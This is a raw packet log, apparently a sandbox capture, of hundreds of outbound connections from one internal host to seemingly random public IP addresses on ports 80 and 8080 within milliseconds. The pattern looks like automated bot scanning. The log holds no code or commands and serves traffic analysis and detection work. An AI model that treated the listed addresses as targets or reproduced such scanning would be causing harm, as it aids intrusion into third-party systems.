Mar 21, 2024 05:16:56.456151962 CET	45138	8080	192.168.2.13	184.67.78.118
Mar 21, 2024 05:16:56.456151962 CET	45138	8080	192.168.2.13	98.172.220.28
Mar 21, 2024 05:16:56.456151962 CET	45138	8080	192.168.2.13	184.78.179.135
Mar 21, 2024 05:16:56.456151962 CET	45138	8080	192.168.2.13	98.249.13.174
Mar 21, 2024 05:16:56.456150055 CET	45394	80	192.168.2.13	213.112.176.227
Mar 21, 2024 05:16:56.456151962 CET	45138	8080	192.168.2.13	184.177.132.71
Mar 21, 2024 05:16:56.456166029 CET	45138	8080	192.168.2.13	172.44.161.233
Mar 21, 2024 05:16:56.456166029 CET	45394	80	192.168.2.13	213.212.58.236
Mar 21, 2024 05:16:56.456166983 CET	45138	8080	192.168.2.13	172.4.163.86
Mar 21, 2024 05:16:56.456166983 CET	45138	8080	192.168.2.13	98.18.113.185
Mar 21, 2024 05:16:56.456168890 CET	45138	8080	192.168.2.13	172.253.108.143
Mar 21, 2024 05:16:56.456168890 CET	45138	8080	192.168.2.13	184.162.2.252
Mar 21, 2024 05:16:56.456168890 CET	45138	8080	192.168.2.13	184.52.238.141
Mar 21, 2024 05:16:56.456173897 CET	45138	8080	192.168.2.13	98.147.194.140
Mar 21, 2024 05:16:56.456173897 CET	45138	8080	192.168.2.13	172.44.71.208
Mar 21, 2024 05:16:56.456173897 CET	45138	8080	192.168.2.13	172.28.26.214
Mar 21, 2024 05:16:56.456173897 CET	45138	8080	192.168.2.13	172.244.168.68
Mar 21, 2024 05:16:56.456173897 CET	45138	8080	192.168.2.13	172.209.242.201
Mar 21, 2024 05:16:56.456173897 CET	45394	80	192.168.2.13	213.0.162.36
Mar 21, 2024 05:16:56.456181049 CET	45394	80	192.168.2.13	213.11.12.73
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	172.235.115.129
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	172.150.128.79
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	184.89.3.58
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	172.237.160.8
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	172.111.168.1
Mar 21, 2024 05:16:56.456181049 CET	45394	80	192.168.2.13	213.37.60.83
Mar 21, 2024 05:16:56.456181049 CET	45394	80	192.168.2.13	213.255.135.254
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	172.111.144.151
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	184.185.60.116
Mar 21, 2024 05:16:56.456181049 CET	45394	80	192.168.2.13	213.251.220.239
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	98.177.190.67
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	172.6.255.173
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	172.87.177.1
Mar 21, 2024 05:16:56.456181049 CET	45138	8080	192.168.2.13	172.180.246.87
Mar 21, 2024 05:16:56.456197977 CET	45138	8080	192.168.2.13	98.155.238.182
Mar 21, 2024 05:16:56.456197977 CET	45138	8080	192.168.2.13	98.167.220.111
Mar 21, 2024 05:16:56.456197977 CET	45138	8080	192.168.2.13	184.101.238.199
Mar 21, 2024 05:16:56.456197977 CET	45138	8080	192.168.2.13	98.151.136.157
Mar 21, 2024 05:16:56.456197977 CET	45138	8080	192.168.2.13	98.10.20.170
Mar 21, 2024 05:16:56.456197977 CET	45394	80	192.168.2.13	213.194.173.142
Mar 21, 2024 05:16:56.456199884 CET	45138	8080	192.168.2.13	98.176.87.177
Mar 21, 2024 05:16:56.456197977 CET	45138	8080	192.168.2.13	172.157.254.37
Mar 21, 2024 05:16:56.456199884 CET	45394	80	192.168.2.13	213.148.38.83
Mar 21, 2024 05:16:56.456197977 CET	45138	8080	192.168.2.13	184.208.199.251
Mar 21, 2024 05:16:56.456202030 CET	45138	8080	192.168.2.13	172.33.131.49
Mar 21, 2024 05:16:56.456199884 CET	45138	8080	192.168.2.13	172.202.148.179
Mar 21, 2024 05:16:56.456224918 CET	45138	8080	192.168.2.13	172.205.88.234
Mar 21, 2024 05:16:56.456239939 CET	45138	8080	192.168.2.13	98.191.153.70
Mar 21, 2024 05:16:56.456240892 CET	45138	8080	192.168.2.13	98.250.152.203
Mar 21, 2024 05:16:56.456240892 CET	45138	8080	192.168.2.13	172.46.244.25
Mar 21, 2024 05:16:56.456240892 CET	45138	8080	192.168.2.13	98.128.85.19
Mar 21, 2024 05:16:56.456240892 CET	45138	8080	192.168.2.13	184.20.180.27
Mar 21, 2024 05:16:56.456247091 CET	45394	80	192.168.2.13	213.144.161.126
Mar 21, 2024 05:16:56.456263065 CET	45138	8080	192.168.2.13	172.152.100.0
Mar 21, 2024 05:16:56.456269026 CET	45138	8080	192.168.2.13	184.65.221.226
Mar 21, 2024 05:16:56.456271887 CET	45394	80	192.168.2.13	213.216.152.133
Mar 21, 2024 05:16:56.456275940 CET	45394	80	192.168.2.13	213.132.21.128
Mar 21, 2024 05:16:56.456275940 CET	45138	8080	192.168.2.13	172.94.99.143
Mar 21, 2024 05:16:56.456276894 CET	45138	8080	192.168.2.13	184.77.174.26
Mar 21, 2024 05:16:56.456275940 CET	45394	80	192.168.2.13	213.206.53.18
Mar 21, 2024 05:16:56.456276894 CET	45138	8080	192.168.2.13	98.8.81.68
Mar 21, 2024 05:16:56.456275940 CET	45138	8080	192.168.2.13	172.8.219.178
Mar 21, 2024 05:16:56.456276894 CET	45138	8080	192.168.2.13	172.214.70.123
Mar 21, 2024 05:16:56.456279039 CET	45138	8080	192.168.2.13	184.205.233.13
Mar 21, 2024 05:16:56.456279039 CET	45138	8080	192.168.2.13	184.227.37.213
Mar 21, 2024 05:16:56.456279039 CET	45394	80	192.168.2.13	213.40.254.98
Mar 21, 2024 05:16:56.456279039 CET	45138	8080	192.168.2.13	98.150.144.132
Mar 21, 2024 05:16:56.456280947 CET	45138	8080	192.168.2.13	184.251.187.18
Mar 21, 2024 05:16:56.456295967 CET	45138	8080	192.168.2.13	98.52.98.192
Mar 21, 2024 05:16:56.456304073 CET	45138	8080	192.168.2.13	184.53.120.226
Mar 21, 2024 05:16:56.456304073 CET	45394	80	192.168.2.13	213.137.22.20
Mar 21, 2024 05:16:56.456305027 CET	45138	8080	192.168.2.13	172.66.96.2
Mar 21, 2024 05:16:56.456305027 CET	45138	8080	192.168.2.13	184.58.237.33
Mar 21, 2024 05:16:56.456306934 CET	45394	80	192.168.2.13	213.76.17.228
Mar 21, 2024 05:16:56.456326962 CET	45138	8080	192.168.2.13	98.246.60.237
Mar 21, 2024 05:16:56.456327915 CET	45138	8080	192.168.2.13	172.217.0.152
Mar 21, 2024 05:16:56.456330061 CET	45394	80	192.168.2.13	213.179.130.200
Mar 21, 2024 05:16:56.456341028 CET	45138	8080	192.168.2.13	98.160.207.205
Mar 21, 2024 05:16:56.456342936 CET	45138	8080	192.168.2.13	98.89.43.233
Mar 21, 2024 05:16:56.456350088 CET	45394	80	192.168.2.13	213.174.23.69
Mar 21, 2024 05:16:56.456350088 CET	45138	8080	192.168.2.13	184.249.29.158
Mar 21, 2024 05:16:56.456352949 CET	45394	80	192.168.2.13	213.36.19.211
Mar 21, 2024 05:16:56.456365108 CET	45138	8080	192.168.2.13	184.224.184.146
Mar 21, 2024 05:16:56.456365108 CET	45138	8080	192.168.2.13	98.50.9.56
Mar 21, 2024 05:16:56.456366062 CET	45138	8080	192.168.2.13	184.66.236.167
Mar 21, 2024 05:16:56.456367970 CET	45138	8080	192.168.2.13	184.59.234.158
Mar 21, 2024 05:16:56.456377983 CET	45394	80	192.168.2.13	213.214.98.174
Mar 21, 2024 05:16:56.456384897 CET	45138	8080	192.168.2.13	98.87.91.124
Mar 21, 2024 05:16:56.456386089 CET	45138	8080	192.168.2.13	172.91.84.214
Mar 21, 2024 05:16:56.456388950 CET	45394	80	192.168.2.13	213.141.134.100
Mar 21, 2024 05:16:56.456393003 CET	45138	8080	192.168.2.13	172.86.4.240
Mar 21, 2024 05:16:56.456393003 CET	45138	8080	192.168.2.13	172.69.244.142
Mar 21, 2024 05:16:56.456393957 CET	45138	8080	192.168.2.13	172.195.12.63
Mar 21, 2024 05:16:56.456396103 CET	45138	8080	192.168.2.13	172.139.41.137
Mar 21, 2024 05:16:56.456399918 CET	45138	8080	192.168.2.13	184.72.227.208
Mar 21, 2024 05:16:56.456399918 CET	45138	8080	192.168.2.13	98.111.82.171
Mar 21, 2024 05:16:56.456399918 CET	45138	8080	192.168.2.13	184.242.141.224
Mar 21, 2024 05:16:56.456412077 CET	45138	8080	192.168.2.13	98.188.97.228
Mar 21, 2024 05:16:56.456413031 CET	45394	80	192.168.2.13	213.90.196.109
Mar 21, 2024 05:16:56.456415892 CET	45138	8080	192.168.2.13	184.148.5.161
Mar 21, 2024 05:16:56.456415892 CET	45138	8080	192.168.2.13	172.69.23.101
Mar 21, 2024 05:16:56.456415892 CET	45138	8080	192.168.2.13	184.142.73.154
Mar 21, 2024 05:16:56.456420898 CET	45138	8080	192.168.2.13	172.171.103.205
Mar 21, 2024 05:16:56.456420898 CET	45138	8080	192.168.2.13	184.113.22.128
Mar 21, 2024 05:16:56.456427097 CET	45138	8080	192.168.2.13	184.96.38.211
Mar 21, 2024 05:16:56.456430912 CET	45138	8080	192.168.2.13	184.208.13.59
Mar 21, 2024 05:16:56.456430912 CET	45394	80	192.168.2.13	213.89.40.210
Mar 21, 2024 05:16:56.456439018 CET	45138	8080	192.168.2.13	184.20.217.25
Mar 21, 2024 05:16:56.456440926 CET	45138	8080	192.168.2.13	98.164.15.134
Mar 21, 2024 05:16:56.456451893 CET	45138	8080	192.168.2.13	98.164.109.122
Mar 21, 2024 05:16:56.456454039 CET	45138	8080	192.168.2.13	98.149.22.77
Mar 21, 2024 05:16:56.456455946 CET	45138	8080	192.168.2.13	172.84.100.162
Mar 21, 2024 05:16:56.456465006 CET	45138	8080	192.168.2.13	172.213.229.53
Mar 21, 2024 05:16:56.456465006 CET	45138	8080	192.168.2.13	98.89.42.138
Mar 21, 2024 05:16:56.456470013 CET	45394	80	192.168.2.13	213.193.153.41
Mar 21, 2024 05:16:56.456480980 CET	45138	8080	192.168.2.13	172.239.79.136
Mar 21, 2024 05:16:56.456480980 CET	45138	8080	192.168.2.13	172.94.208.108
Mar 21, 2024 05:16:56.456490993 CET	45138	8080	192.168.2.13	172.198.108.195
Mar 21, 2024 05:16:56.456492901 CET	45138	8080	192.168.2.13	98.69.123.16
Mar 21, 2024 05:16:56.456492901 CET	45138	8080	192.168.2.13	172.65.170.33
Mar 21, 2024 05:16:56.456492901 CET	45138	8080	192.168.2.13	98.57.248.219
Mar 21, 2024 05:16:56.456492901 CET	45394	80	192.168.2.13	213.70.154.160
Mar 21, 2024 05:16:56.456501007 CET	45138	8080	192.168.2.13	98.130.245.185
Mar 21, 2024 05:16:56.456502914 CET	45138	8080	192.168.2.13	98.125.211.12
Mar 21, 2024 05:16:56.456521034 CET	45394	80	192.168.2.13	213.74.95.38
Mar 21, 2024 05:16:56.456521988 CET	45394	80	192.168.2.13	213.121.128.25
Mar 21, 2024 05:16:56.456537008 CET	45138	8080	192.168.2.13	184.92.73.45
Mar 21, 2024 05:16:56.456538916 CET	45138	8080	192.168.2.13	172.151.243.28
Mar 21, 2024 05:16:56.456538916 CET	45394	80	192.168.2.13	213.78.31.199
Mar 21, 2024 05:16:56.456541061 CET	45394	80	192.168.2.13	213.211.4.90
Mar 21, 2024 05:16:56.456541061 CET	45138	8080	192.168.2.13	98.191.145.128
Mar 21, 2024 05:16:56.456545115 CET	45138	8080	192.168.2.13	172.102.48.81
Mar 21, 2024 05:16:56.456561089 CET	45138	8080	192.168.2.13	98.160.99.86
Mar 21, 2024 05:16:56.456562042 CET	45394	80	192.168.2.13	213.124.141.88
Mar 21, 2024 05:16:56.456578016 CET	45138	8080	192.168.2.13	172.203.67.154
Mar 21, 2024 05:16:56.456626892 CET	45138	8080	192.168.2.13	184.132.61.153
Mar 21, 2024 05:16:56.456626892 CET	45394	80	192.168.2.13	213.91.25.250
Mar 21, 2024 05:16:56.456626892 CET	45138	8080	192.168.2.13	172.205.45.198
Mar 21, 2024 05:16:56.456626892 CET	45138	8080	192.168.2.13	98.45.141.5
Mar 21, 2024 05:16:56.456634998 CET	45138	8080	192.168.2.13	172.59.242.254
Mar 21, 2024 05:16:56.456634998 CET	45138	8080	192.168.2.13	184.237.91.1
Mar 21, 2024 05:16:56.456639051 CET	45138	8080	192.168.2.13	184.139.14.17
Mar 21, 2024 05:16:56.456639051 CET	45138	8080	192.168.2.13	172.15.168.168
Mar 21, 2024 05:16:56.456639051 CET	45394	80	192.168.2.13	213.145.131.236
Mar 21, 2024 05:16:56.456640005 CET	45138	8080	192.168.2.13	172.76.246.60
Mar 21, 2024 05:16:56.456640005 CET	45394	80	192.168.2.13	213.134.102.10
Mar 21, 2024 05:16:56.456640959 CET	45394	80	192.168.2.13	213.108.105.61
Mar 21, 2024 05:16:56.456640005 CET	45138	8080	192.168.2.13	172.218.232.152
Mar 21, 2024 05:16:56.456640959 CET	45394	80	192.168.2.13	213.24.179.162
Mar 21, 2024 05:16:56.456640005 CET	45138	8080	192.168.2.13	172.65.197.244
Mar 21, 2024 05:16:56.456640959 CET	45138	8080	192.168.2.13	184.92.41.92
Mar 21, 2024 05:16:56.456640005 CET	45138	8080	192.168.2.13	98.81.208.84
Mar 21, 2024 05:16:56.456640959 CET	45138	8080	192.168.2.13	98.148.152.110
Mar 21, 2024 05:16:56.456640959 CET	45138	8080	192.168.2.13	98.54.182.168
Mar 21, 2024 05:16:56.456655025 CET	45138	8080	192.168.2.13	172.93.82.9
Mar 21, 2024 05:16:56.456655025 CET	45138	8080	192.168.2.13	98.55.207.56
Mar 21, 2024 05:16:56.456657887 CET	45138	8080	192.168.2.13	172.45.235.212
Mar 21, 2024 05:16:56.456657887 CET	45138	8080	192.168.2.13	98.60.94.137
Mar 21, 2024 05:16:56.456657887 CET	45138	8080	192.168.2.13	184.218.82.72
Mar 21, 2024 05:16:56.456657887 CET	45138	8080	192.168.2.13	184.219.23.125
Mar 21, 2024 05:16:56.456660986 CET	45138	8080	192.168.2.13	172.20.199.38
Mar 21, 2024 05:16:56.456660986 CET	45138	8080	192.168.2.13	98.84.143.20
Mar 21, 2024 05:16:56.456660986 CET	45394	80	192.168.2.13	213.167.224.156
Mar 21, 2024 05:16:56.456661940 CET	45394	80	192.168.2.13	213.125.237.90
Mar 21, 2024 05:16:56.456661940 CET	45138	8080	192.168.2.13	172.222.109.96
Mar 21, 2024 05:16:56.456660986 CET	45138	8080	192.168.2.13	184.251.30.249
Mar 21, 2024 05:16:56.456661940 CET	45138	8080	192.168.2.13	98.99.118.122
Mar 21, 2024 05:16:56.456660986 CET	45138	8080	192.168.2.13	98.223.202.118
Mar 21, 2024 05:16:56.456661940 CET	45138	8080	192.168.2.13	172.194.128.244
Mar 21, 2024 05:16:56.456661940 CET	45138	8080	192.168.2.13	172.69.49.244
Mar 21, 2024 05:16:56.456661940 CET	45138	8080	192.168.2.13	98.84.131.118
Mar 21, 2024 05:16:56.456661940 CET	45138	8080	192.168.2.13	184.151.64.183
Mar 21, 2024 05:16:56.456669092 CET	45138	8080	192.168.2.13	172.254.108.225
Mar 21, 2024 05:16:56.456669092 CET	45138	8080	192.168.2.13	172.4.15.141
Mar 21, 2024 05:16:56.456669092 CET	45138	8080	192.168.2.13	98.32.4.222
Mar 21, 2024 05:16:56.456677914 CET	45138	8080	192.168.2.13	98.246.157.218
Mar 21, 2024 05:16:56.456677914 CET	45138	8080	192.168.2.13	172.154.29.103
Mar 21, 2024 05:16:56.456677914 CET	45138	8080	192.168.2.13	184.60.143.210
Mar 21, 2024 05:16:56.456677914 CET	45394	80	192.168.2.13	213.40.5.153
Mar 21, 2024 05:16:56.456686974 CET	45138	8080	192.168.2.13	98.160.174.58
Mar 21, 2024 05:16:56.456686974 CET	45394	80	192.168.2.13	213.63.109.9
Mar 21, 2024 05:16:56.456686974 CET	45138	8080	192.168.2.13	172.238.205.82
Mar 21, 2024 05:16:56.456686974 CET	45138	8080	192.168.2.13	172.125.64.91
Mar 21, 2024 05:16:56.456686974 CET	45138	8080	192.168.2.13	172.236.237.69
Mar 21, 2024 05:16:56.456692934 CET	45138	8080	192.168.2.13	98.238.42.228
Mar 21, 2024 05:16:56.456692934 CET	45138	8080	192.168.2.13	184.253.15.125
Mar 21, 2024 05:16:56.456692934 CET	45394	80	192.168.2.13	213.61.96.93
Mar 21, 2024 05:16:56.456692934 CET	45138	8080	192.168.2.13	172.95.156.80
Mar 21, 2024 05:16:56.456693888 CET	45138	8080	192.168.2.13	172.229.119.246
Mar 21, 2024 05:16:56.456693888 CET	45138	8080	192.168.2.13	172.204.136.81
Mar 21, 2024 05:16:56.456693888 CET	45394	80	192.168.2.13	213.139.224.249
Mar 21, 2024 05:16:56.456697941 CET	45394	80	192.168.2.13	213.177.206.252
Mar 21, 2024 05:16:56.456697941 CET	45138	8080	192.168.2.13	98.235.175.31
Mar 21, 2024 05:16:56.456697941 CET	45138	8080	192.168.2.13	172.4.139.231
Mar 21, 2024 05:16:56.456703901 CET	45138	8080	192.168.2.13	184.191.185.182
Mar 21, 2024 05:16:56.456703901 CET	45138	8080	192.168.2.13	172.181.161.14
Mar 21, 2024 05:16:56.456713915 CET	45138	8080	192.168.2.13	184.95.236.221
Mar 21, 2024 05:16:56.456713915 CET	45394	80	192.168.2.13	213.213.138.58
Mar 21, 2024 05:16:56.456722021 CET	45138	8080	192.168.2.13	98.89.121.30
Mar 21, 2024 05:16:56.456722021 CET	45138	8080	192.168.2.13	98.204.252.20
Mar 21, 2024 05:16:56.456722021 CET	45138	8080	192.168.2.13	184.192.222.150
Mar 21, 2024 05:16:56.456722021 CET	45138	8080	192.168.2.13	172.24.57.226
Mar 21, 2024 05:16:56.456722021 CET	45138	8080	192.168.2.13	172.173.49.241
Mar 21, 2024 05:16:56.456722021 CET	45138	8080	192.168.2.13	184.64.173.246
Mar 21, 2024 05:16:56.456722021 CET	45138	8080	192.168.2.13	98.233.244.5
Mar 21, 2024 05:16:56.456722021 CET	45138	8080	192.168.2.13	184.37.10.168
Mar 21, 2024 05:16:56.456732988 CET	45138	8080	192.168.2.13	172.138.100.52
Mar 21, 2024 05:16:56.456732988 CET	45138	8080	192.168.2.13	98.220.46.244
Mar 21, 2024 05:16:56.456732988 CET	45138	8080	192.168.2.13	98.94.98.210
Mar 21, 2024 05:16:56.456739902 CET	45138	8080	192.168.2.13	172.58.95.40
Mar 21, 2024 05:16:56.456739902 CET	45138	8080	192.168.2.13	98.7.172.234
Mar 21, 2024 05:16:56.456739902 CET	45138	8080	192.168.2.13	172.85.74.204
Mar 21, 2024 05:16:56.456739902 CET	45394	80	192.168.2.13	213.142.224.60
Mar 21, 2024 05:16:56.456743002 CET	45138	8080	192.168.2.13	172.82.162.202
Mar 21, 2024 05:16:56.456743002 CET	45138	8080	192.168.2.13	172.191.232.57
Mar 21, 2024 05:16:56.456743002 CET	45394	80	192.168.2.13	213.90.107.237
Mar 21, 2024 05:16:56.456743002 CET	45138	8080	192.168.2.13	184.42.123.253
Mar 21, 2024 05:16:56.456748962 CET	45138	8080	192.168.2.13	184.93.224.165
Mar 21, 2024 05:16:56.456748962 CET	45138	8080	192.168.2.13	184.183.63.202
Mar 21, 2024 05:16:56.456751108 CET	45394	80	192.168.2.13	213.163.205.235
Mar 21, 2024 05:16:56.456753016 CET	45138	8080	192.168.2.13	172.236.113.220
Mar 21, 2024 05:16:56.456753016 CET	45138	8080	192.168.2.13	172.58.163.127
Mar 21, 2024 05:16:56.456753016 CET	45394	80	192.168.2.13	213.24.106.204
Mar 21, 2024 05:16:56.456753016 CET	45138	8080	192.168.2.13	98.35.34.68
Mar 21, 2024 05:16:56.456767082 CET	45138	8080	192.168.2.13	98.225.237.82
Mar 21, 2024 05:16:56.456785917 CET	45138	8080	192.168.2.13	172.179.104.217
Mar 21, 2024 05:16:56.456792116 CET	45138	8080	192.168.2.13	172.162.237.187
Mar 21, 2024 05:16:56.456792116 CET	45138	8080	192.168.2.13	98.176.190.24
Mar 21, 2024 05:16:56.456792116 CET	45138	8080	192.168.2.13	172.238.139.60
Mar 21, 2024 05:16:56.456792116 CET	45138	8080	192.168.2.13	184.3.183.85
Mar 21, 2024 05:16:56.456795931 CET	45394	80	192.168.2.13	213.249.246.243
Mar 21, 2024 05:16:56.456798077 CET	45394	80	192.168.2.13	213.136.78.235
Mar 21, 2024 05:16:56.456798077 CET	45138	8080	192.168.2.13	184.133.201.25
Mar 21, 2024 05:16:56.456798077 CET	45394	80	192.168.2.13	213.5.225.161
Mar 21, 2024 05:16:56.456805944 CET	45138	8080	192.168.2.13	98.116.48.252
Mar 21, 2024 05:16:56.456805944 CET	45138	8080	192.168.2.13	98.217.151.34
Mar 21, 2024 05:16:56.456810951 CET	45138	8080	192.168.2.13	172.69.215.7
Mar 21, 2024 05:16:56.456810951 CET	45138	8080	192.168.2.13	172.234.84.158
Mar 21, 2024 05:16:56.456813097 CET	45394	80	192.168.2.13	213.206.119.151
Mar 21, 2024 05:16:56.456815004 CET	45138	8080	192.168.2.13	184.34.42.203
Mar 21, 2024 05:16:56.456828117 CET	45394	80	192.168.2.13	213.253.5.26
Mar 21, 2024 05:16:56.456832886 CET	45138	8080	192.168.2.13	184.86.146.157
Mar 21, 2024 05:16:56.456832886 CET	45138	8080	192.168.2.13	98.117.137.175
Mar 21, 2024 05:16:56.456840038 CET	45138	8080	192.168.2.13	98.23.208.91
Mar 21, 2024 05:16:56.456851006 CET	45138	8080	192.168.2.13	184.1.144.17
Mar 21, 2024 05:16:56.456852913 CET	45394	80	192.168.2.13	213.106.187.19
Mar 21, 2024 05:16:56.456854105 CET	45138	8080	192.168.2.13	184.66.124.194
Mar 21, 2024 05:16:56.456854105 CET	45138	8080	192.168.2.13	98.19.211.98
Mar 21, 2024 05:16:56.456856966 CET	45138	8080	192.168.2.13	184.121.96.118
Mar 21, 2024 05:16:56.456857920 CET	45138	8080	192.168.2.13	98.184.22.118
Mar 21, 2024 05:16:56.456873894 CET	45394	80	192.168.2.13	213.119.103.147
Mar 21, 2024 05:16:56.456873894 CET	45138	8080	192.168.2.13	98.132.223.211
Mar 21, 2024 05:16:56.456878901 CET	45138	8080	192.168.2.13	172.87.51.179
Mar 21, 2024 05:16:56.456878901 CET	45138	8080	192.168.2.13	98.33.66.119
Mar 21, 2024 05:16:56.456883907 CET	45394	80	192.168.2.13	213.26.34.199
Mar 21, 2024 05:16:56.456883907 CET	45138	8080	192.168.2.13	172.187.174.227
Mar 21, 2024 05:16:56.456897020 CET	45138	8080	192.168.2.13	184.55.158.255
Mar 21, 2024 05:16:56.456897020 CET	45138	8080	192.168.2.13	184.38.142.70
Mar 21, 2024 05:16:56.456897974 CET	45394	80	192.168.2.13	213.146.46.28
Mar 21, 2024 05:16:56.456906080 CET	45138	8080	192.168.2.13	98.3.107.223
Mar 21, 2024 05:16:56.456914902 CET	45138	8080	192.168.2.13	98.56.90.158
Mar 21, 2024 05:16:56.456922054 CET	45394	80	192.168.2.13	213.105.93.196
Mar 21, 2024 05:16:56.456922054 CET	45138	8080	192.168.2.13	184.85.228.210
Mar 21, 2024 05:16:56.456922054 CET	45394	80	192.168.2.13	213.130.8.235
Mar 21, 2024 05:16:56.456923962 CET	45138	8080	192.168.2.13	98.222.251.211
Mar 21, 2024 05:16:56.456938982 CET	45138	8080	192.168.2.13	98.208.24.161
Mar 21, 2024 05:16:56.456939936 CET	45394	80	192.168.2.13	213.152.198.39
Mar 21, 2024 05:16:56.457004070 CET	45394	80	192.168.2.13	213.162.205.55
Mar 21, 2024 05:16:56.457005024 CET	45394	80	192.168.2.13	213.246.195.38
Mar 21, 2024 05:16:56.457010984 CET	45394	80	192.168.2.13	213.156.237.70
Mar 21, 2024 05:16:56.457014084 CET	45394	80	192.168.2.13	213.252.110.209
Mar 21, 2024 05:16:56.457015038 CET	45394	80	192.168.2.13	213.249.38.159
Mar 21, 2024 05:16:56.457034111 CET	45394	80	192.168.2.13	213.79.68.96
Mar 21, 2024 05:16:56.457060099 CET	45394	80	192.168.2.13	213.14.131.43
Mar 21, 2024 05:16:56.457066059 CET	45394	80	192.168.2.13	213.41.230.254
Mar 21, 2024 05:16:56.457066059 CET	45394	80	192.168.2.13	213.243.209.193
Mar 21, 2024 05:16:56.457087040 CET	45394	80	192.168.2.13	213.126.150.76
Mar 21, 2024 05:16:56.457110882 CET	45394	80	192.168.2.13	213.39.124.242
Mar 21, 2024 05:16:56.457114935 CET	45394	80	192.168.2.13	213.86.93.129
Mar 21, 2024 05:16:56.457114935 CET	45394	80	192.168.2.13	213.151.192.223
Mar 21, 2024 05:16:56.457128048 CET	45394	80	192.168.2.13	213.18.61.55
Mar 21, 2024 05:16:56.457142115 CET	45394	80	192.168.2.13	213.86.29.30
Mar 21, 2024 05:16:56.457165956 CET	45394	80	192.168.2.13	213.235.67.85
Mar 21, 2024 05:16:56.457170010 CET	45394	80	192.168.2.13	213.161.40.237
Mar 21, 2024 05:16:56.457225084 CET	45394	80	192.168.2.13	213.2.3.129
Mar 21, 2024 05:16:56.457225084 CET	45138	8080	192.168.2.13	172.248.151.85
Mar 21, 2024 05:16:56.457231045 CET	45138	8080	192.168.2.13	98.88.135.237
Mar 21, 2024 05:16:56.457231045 CET	45138	8080	192.168.2.13	184.21.170.14
Mar 21, 2024 05:16:56.457231998 CET	45394	80	192.168.2.13	213.12.58.234
Mar 21, 2024 05:16:56.457232952 CET	45394	80	192.168.2.13	213.45.9.111
Mar 21, 2024 05:16:56.457247019 CET	45138	8080	192.168.2.13	98.151.150.188
Mar 21, 2024 05:16:56.457247019 CET	45138	8080	192.168.2.13	98.169.115.30
Mar 21, 2024 05:16:56.457248926 CET	45138	8080	192.168.2.13	184.226.138.153
Mar 21, 2024 05:16:56.457251072 CET	45138	8080	192.168.2.13	98.142.252.74
Mar 21, 2024 05:16:56.457251072 CET	45394	80	192.168.2.13	213.146.9.154
Mar 21, 2024 05:16:56.457252026 CET	45138	8080	192.168.2.13	172.57.167.112
Mar 21, 2024 05:16:56.457251072 CET	45138	8080	192.168.2.13	184.206.212.128
Mar 21, 2024 05:16:56.457252026 CET	45138	8080	192.168.2.13	184.55.152.98
Mar 21, 2024 05:16:56.457251072 CET	45138	8080	192.168.2.13	98.111.56.115
Mar 21, 2024 05:16:56.457252026 CET	45138	8080	192.168.2.13	184.33.15.12
Mar 21, 2024 05:16:56.457251072 CET	45138	8080	192.168.2.13	184.107.152.145
Mar 21, 2024 05:16:56.457252026 CET	45138	8080	192.168.2.13	98.58.238.153
Mar 21, 2024 05:16:56.457251072 CET	45138	8080	192.168.2.13	184.0.65.27
Mar 21, 2024 05:16:56.457252026 CET	45138	8080	192.168.2.13	172.180.67.132
Mar 21, 2024 05:16:56.457251072 CET	45138	8080	192.168.2.13	172.13.178.170
Mar 21, 2024 05:16:56.457254887 CET	45138	8080	192.168.2.13	172.209.235.121
Mar 21, 2024 05:16:56.457251072 CET	45394	80	192.168.2.13	213.164.178.8
Mar 21, 2024 05:16:56.457252026 CET	45138	8080	192.168.2.13	172.211.94.234
Mar 21, 2024 05:16:56.457252026 CET	45394	80	192.168.2.13	213.26.132.1
Mar 21, 2024 05:16:56.457256079 CET	45138	8080	192.168.2.13	184.234.207.35
Mar 21, 2024 05:16:56.457254887 CET	45394	80	192.168.2.13	213.190.231.184
Mar 21, 2024 05:16:56.457256079 CET	45138	8080	192.168.2.13	184.139.218.161
Mar 21, 2024 05:16:56.457256079 CET	45138	8080	192.168.2.13	184.5.78.206
Mar 21, 2024 05:16:56.457256079 CET	45138	8080	192.168.2.13	98.220.73.163
Mar 21, 2024 05:16:56.457278013 CET	45394	80	192.168.2.13	213.191.52.184
Mar 21, 2024 05:16:56.457283020 CET	45394	80	192.168.2.13	213.155.226.147
Mar 21, 2024 05:16:56.457283020 CET	45138	8080	192.168.2.13	172.89.229.141
Mar 21, 2024 05:16:56.457292080 CET	45394	80	192.168.2.13	213.212.143.94
Mar 21, 2024 05:16:56.457317114 CET	45138	8080	192.168.2.13	184.211.3.46
Mar 21, 2024 05:16:56.457317114 CET	45394	80	192.168.2.13	213.206.12.196
Mar 21, 2024 05:16:56.457317114 CET	45138	8080	192.168.2.13	172.217.150.129
Mar 21, 2024 05:16:56.457317114 CET	45394	80	192.168.2.13	213.189.88.255
Mar 21, 2024 05:16:56.457335949 CET	45394	80	192.168.2.13	213.93.244.101
Mar 21, 2024 05:16:56.457355976 CET	45394	80	192.168.2.13	213.2.30.8
Mar 21, 2024 05:16:56.457355976 CET	45394	80	192.168.2.13	213.25.12.66
Mar 21, 2024 05:16:56.457380056 CET	45394	80	192.168.2.13	213.194.121.46
Mar 21, 2024 05:16:56.457381964 CET	45394	80	192.168.2.13	213.220.112.23
Mar 21, 2024 05:16:56.457393885 CET	45394	80	192.168.2.13	213.25.120.65
Mar 21, 2024 05:16:56.457425117 CET	45394	80	192.168.2.13	213.141.204.232
Mar 21, 2024 05:16:56.457443953 CET	45394	80	192.168.2.13	213.127.162.94
Mar 21, 2024 05:16:56.457449913 CET	45394	80	192.168.2.13	213.167.215.67
Mar 21, 2024 05:16:56.457449913 CET	45394	80	192.168.2.13	213.203.126.114
Mar 21, 2024 05:16:56.457470894 CET	45394	80	192.168.2.13	213.217.126.51
Mar 21, 2024 05:16:56.457524061 CET	45394	80	192.168.2.13	213.182.7.235
Mar 21, 2024 05:16:56.457525015 CET	45394	80	192.168.2.13	213.245.138.200
